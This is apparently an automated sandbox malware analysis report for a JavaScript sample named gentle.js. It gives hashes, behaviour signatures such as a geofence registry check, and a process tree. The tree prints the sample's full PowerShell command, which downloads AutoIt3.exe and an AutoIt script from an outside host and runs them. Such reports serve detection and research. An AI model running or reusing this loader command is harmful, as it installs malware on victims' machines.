Analysis
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max time kernel
11s -
max time network
22s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
01-11-2023 21:26
Static task
static1
Behavioral task
behavioral1
Sample
gentle.js
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
gentle.js
Resource
win10v2004-20231023-en
General
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Target
gentle.js
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Size
135KB
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MD5
ffa38ff8c434945de11b621958170a10
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SHA1
6429a10526d4224e5a9d5e4ab9f71cfa3a1bd460
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SHA256
4dce8991fb2942cb8443aba697311072aa25fc61b4b4186a54e7956c2bec6799
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SHA512
f4f5fcde08d4ab8d167071ba9eed55cb4d575251da66fcd8005a85970f26e07be31a6f65a42ff47ee238e498f66fef625c97eabe0c87eee3f18ae1d3f98d022a
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SSDEEP
1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0c:0T9U7hgaX6eerjqlI2IO6Mzqfpu
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 2 IoCs
Processes:
wscript.exedescription pid Process procid_target PID 4328 wrote to memory of 4716 4328 wscript.exe 88 PID 4328 wrote to memory of 4716 4328 wscript.exe 88
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4328 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"2⤵PID:4716
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